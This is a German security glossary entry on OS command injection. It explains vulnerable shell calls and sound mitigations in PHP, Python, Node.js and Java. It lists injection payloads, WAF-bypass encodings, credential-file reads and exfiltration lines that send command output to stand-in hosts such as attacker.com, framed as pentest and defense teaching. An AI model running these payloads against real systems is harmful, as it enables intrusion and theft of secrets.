Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Schwachstellenklassen Glossar

Command Injection - OS-Befehlseinschleusung

Command Injection tritt auf wenn Benutzereingaben ungefiltert an Betriebssystem-Kommandos weitergegeben werden. Angreifer können eigene OS-Befehle einschleusen und auf dem Server ausführen. Typische Vektoren: Shell-Funktionen in PHP, Python subprocess mit shell=True, Node.js Shell-Aufrufe. Auswirkung: vollständige Systemkompromittierung. Schutz: nie Shell-Aufrufe mit Benutzereingaben, Parameterized Commands, least-privilege für Prozesse.

Command Injection (auch: OS Command Injection) ist eine kritische Schwachstellenklasse bei der Benutzereingaben ungefiltert an Betriebssystem-Shell-Kommandos übergeben werden. Sie ist als OWASP A03:2021 (Injection) kategorisiert und führt direkt zu Remote Code Execution (RCE) - dem schlimmsten möglichen Ergebnis einer Web-Schwachstelle.

Das Grundprinzip

Anfälliger Code (PHP-Beispiel):

// Ping-Funktion für Netzwerk-Diagnosetool:
$host = $_GET['host'];
$output = shell_exec("ping -c 1 " . $host);  // UNSICHER!
echo $output;

Normaler Aufruf:
  GET /ping?host=8.8.8.8
  → Ausgeführt: ping -c 1 8.8.8.8  ✓

Angriff - Semikolon-Separator:
  GET /ping?host=8.8.8.8; id
  → Ausgeführt: ping -c 1 8.8.8.8; id
  → Output: PING... ; uid=33(www-data)...
  → Zwei Befehle ausgeführt!

Weitere Shell-Operatoren:
  ;     Semikolon: immer zweiter Befehl nach ersten
  &&    AND: zweiter nur wenn erster erfolgreich
  ||    OR: zweiter nur wenn erster scheitert
  |     Pipe: Output des ersten als Input des zweiten
  $()   Command Substitution: $(id)

Alle Operator-Variationen (URL-encoded):
  ;id         → Direkter zweiter Befehl
  &&id        → Wenn ping erfolgreich, dann id
  ||id        → Wenn ping fehlschlägt, dann id
  |id         → Pipe zu id
  %0aid       → Newline + id (URL-encoded \n)

Blind Command Injection

Blind Command Injection (keine Ausgabe sichtbar):

Problem: Output der Befehle nicht in Response sichtbar
Lösung: Out-of-Band-Techniken

Time-Based Detection:
  # Sleep-Befehl → Antwort verzögert sich messbar:
  host=8.8.8.8; sleep 5
  → Response kommt nach 5+ Sekunden → Injection bestätigt!

  Ping-basiert (plattformübergreifend):
  ; ping -c 5 127.0.0.1  (Linux: 5 Pings = ~5 Sekunden)
  & ping -n 5 127.0.0.1  (Windows: 5 Pings)

DNS-Exfiltration (Out-of-Band):
  # Burp Suite Collaborator URL nutzen:
  ; nslookup $(id).attacker-controlled.burpcollaborator.net
  oder:
  ; curl http://$(id).attacker.com/

  → DNS-Request enthält Befehlsausgabe als Subdomain!
  → Command Output exfiltriert ohne HTTP-Response-Zugang

HTTP-Exfiltration:
  ; curl -s http://attacker.com/?data=$(whoami | base64)
  → Output via HTTP-Parameter exfiltriert

Kontext: auch in Header, Cookies, XML, JSON möglich!
  User-Agent: Mozilla; id
  Cookie: session=abc; id
  XML: <host>8.8.8.8; id</host>
  JSON: {"host": "8.8.8.8; id"}
  → Überall wo Userinput in Shell-Befehlen landet!

Plattformunterschiede

Linux vs. Windows Command Injection:

Linux/Unix:
  Befehlstrenner: ; | && || \n $()
  Nützliche Befehle:
    id                          → aktueller User
    whoami                      → Username
    uname -a                    → OS-Version
    ls /                        → Root-Verzeichnis
    cat /etc/passwd             → User-Liste
    env                         → Umgebungsvariablen (API-Keys!)

Windows:
  Befehlstrenner: & | && ||
  Nützliche Befehle:
    whoami                      → User
    systeminfo                  → System-Info
    dir C:\                     → Verzeichnis
    net user                    → Alle User
    net localgroup administrators  → Admins
    ipconfig /all               → Netzwerk

Kontextabhängige Trennzeichen:
  In URL-Parameter:   %3b (;) %7c (|) %26 (&)
  In JSON-String:     " beenden + Trennzeichen + Befehl
  In XML:             CDATA-Escape oder Encoding

Erkennung im Pentest

Command-Injection-Testing:

1. Einfache Tests (direkte Ausgabe):
   ;id
   &&id
   |id
   $(id)

   Erwartete Outputs (Linux):
   uid=33(www-data) gid=33(www-data) groups=33(www-data)
   → Injection bestätigt!

2. Blind Detection (Time-Based):
   ; sleep 5
   & timeout /T 5  (Windows)
   → Antwortzeit > 5s? → Injection!

   In Burp Suite Intruder: Response-Zeit messen!

3. Out-of-Band (Burp Collaborator):
   # Collaborator-Subdomain generieren lassen
   ; curl https://abc123.burpcollaborator.net/
   → HTTP-Request bei Collaborator empfangen? → RCE!

4. In allen Eingabefeldern testen:
   □ GET/POST-Parameter
   □ HTTP-Header (User-Agent, Referer, X-Forwarded-For)
   □ Cookie-Werte
   □ Dateinamen bei Datei-Upload
   □ JSON/XML-Felder
   □ E-Mail-Adressen, Hostnamen, IPs

5. Encodings testen (WAF-Bypass):
   ;id → %3bid → %253bid (double-encoded)
   ;id → $(id)
   ;{id,} (Brace Expansion in Bash)

Schutzmaßnahmen

Sichere Alternativen zu Shell-Aufrufen:

PRINZIP: Niemals Benutzereingaben in Shell-Befehle übergeben!
         Stattdessen: Language-native Bibliotheken nutzen!

PHP - Statt shell_exec():
  // UNSICHER: shell_exec("ping -c 1 " . $_GET['host'])

  // RICHTIG - Input validieren + escapeshellarg():
  $host = filter_var($_GET['host'], FILTER_VALIDATE_IP);
  if (!$host) die('Invalid IP address');
  // Nur validierte IP-Adressen weiterverarbeiten

  // Wenn Shell-Aufruf unvermeidbar:
  $safe = escapeshellarg($_GET['host']);
  $output = shell_exec("ping -c 1 " . $safe);
  // escapeshellarg: umschließt mit ' und escaped alle Sonderzeichen

Python - Statt os.system():
  # UNSICHER: os.system("ping " + user_input)

  # SICHER - subprocess mit Array, kein shell=True!
  import subprocess
  import ipaddress
  try:
    ipaddress.ip_address(user_input)  # IP-Validierung
  except ValueError:
    raise Exception("Invalid IP")
  result = subprocess.run(
    ['ping', '-c', '1', user_input],  # Array: kein Shell-Parsing!
    capture_output=True, text=True, timeout=5
    # shell=False (Standard!) → KEIN Shell-Interpreter!
  )
  # Jedes Element im Array ist ein separates Argument
  # Kein Semikolon, kein &&, kein | möglich!

Node.js - execFile statt Shell-Funktionen:
  const { execFile } = require('child_process');
  // execFile ruft Programm DIREKT auf - KEINE Shell!
  // Kein Shell-Parsing → keine Injection möglich
  execFile('ping', ['-c', '1', validatedHost], (error, stdout) => {
    // validatedHost muss vorher als IP validiert werden!
  });

Java:
  // ProcessBuilder: Array-basiert, keine Shell
  ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", validatedHost);
  pb.start();  // Kein Runtime.getRuntime().exec("ping " + host)!

Allgemeine Schutzmaßnahmen:
  □ Whitelist-Validierung: nur erlaubte Zeichen (IP-Regex, Alphanumerisch)
  □ Least Privilege: Webserver-Prozess ohne root-Rechte!
  □ AppArmor/SELinux: Prozess auf erlaubte Syscalls beschränken
  □ Sandboxing: Container/Chroot für externe Prozesse
  □ WAF: bekannte Injection-Patterns filtern
  □ Monitoring: unerwartete Prozesse aus Webserver-User → SOC-Alert
  □ Grundsatz: Shell-Aufrufe in Webanwendungen vermeiden!
             Für Ping/DNS: Native-Bibliotheken nutzen (Net::Ping, socket)

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung